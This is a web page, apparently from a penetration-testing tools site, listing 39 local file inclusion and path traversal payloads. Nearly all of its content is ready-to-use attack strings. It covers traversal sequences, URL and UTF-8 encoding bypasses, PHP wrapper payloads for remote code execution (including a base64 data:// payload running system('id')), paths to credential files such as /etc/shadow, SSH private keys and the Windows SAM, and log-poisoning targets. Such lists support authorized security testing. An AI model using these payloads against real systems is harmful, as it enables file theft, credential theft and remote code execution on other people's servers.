lfi-payloads
root@sovietghost:~/tools/lfi-payloads#
39 LFI / path traversal payloads — traversal, encoding bypass, PHP wrappers, log poisoning. Authorized testing only.
39 payloads
Basic ../Path Traversal
../../../etc/passwdDeep traversalPath Traversal
../../../../../../../../etc/passwdAbsolute pathPath Traversal
/etc/passwdMixed slashesPath Traversal
..\..\..\etc\passwdBackslash (Windows)Path Traversal
..\..\..\windows\win.iniNull byte bypassPath Traversal
../../../etc/passwd%00ⓘ terminates string in older PHP
Null byte + .php extPath Traversal
../../../etc/passwd%00.phpExtra ../ after pathPath Traversal
....//....//....//etc/passwdⓘ collapse after strip
URL-encoded /Encoding Bypass
..%2F..%2F..%2Fetc%2FpasswdDouble URL-encodedEncoding Bypass
..%252F..%252F..%252Fetc%252FpasswdUTF-8 dot encodeEncoding Bypass
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd16-bit UnicodeEncoding Bypass
..%c0%af..%c0%af..%c0%afetc%c0%afpasswdⓘ overlong UTF-8 for /
../ stripped bypassEncoding Bypass
.././.././.././etc/passwdⓘ collapses to ../../../ after strip
Nested ../ bypassEncoding Bypass
....//....//....//etc//passwdphp://filter base64PHP Wrappers
php://filter/convert.base64-encode/resource=index.phpⓘ read PHP source code
php://filter rot13PHP Wrappers
php://filter/read=string.rot13/resource=index.phpphp://input RCEPHP Wrappers
php://inputⓘ POST body executed as PHP; send <?php system('id');?>
data:// RCEPHP Wrappers
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+ⓘ <?php system('id');?> in b64
expect:// RCEPHP Wrappers
expect://idⓘ requires expect:// extension
zip:// RCEPHP Wrappers
zip://path/to/file.zip%23shell.phpphar:// RCEPHP Wrappers
phar://path/to/file.phar/shell.php/etc/passwdLinux Files
/etc/passwd/etc/shadowLinux Files
/etc/shadowⓘ requires root
/etc/hostsLinux Files
/etc/hosts/proc/self/environLinux Files
/proc/self/environⓘ web server env vars
/proc/self/cmdlineLinux Files
/proc/self/cmdline/proc/net/tcpLinux Files
/proc/net/tcpⓘ open TCP connections
SSH private keyLinux Files
/home/user/.ssh/id_rsa/var/www/html/configLinux Files
/var/www/html/config.phpwin.iniWindows Files
C:\Windows\win.inisystem.iniWindows Files
C:\Windows\system.iniSAM (shadow copy)Windows Files
\\?\C:\Windows\System32\config\SAMIIS web.configWindows Files
C:\inetpub\wwwroot\web.configApache access.logLog Poisoning
/var/log/apache2/access.logApache error.logLog Poisoning
/var/log/apache2/error.logNginx access.logLog Poisoning
/var/log/nginx/access.logSSH auth.logLog Poisoning
/var/log/auth.logⓘ poison with PHP in SSH username
PHP session fileLog Poisoning
/var/lib/php/sessions/sess_SESSIONIDⓘ replace SESSIONID
vsftpd.logLog Poisoning
/var/log/vsftpd.log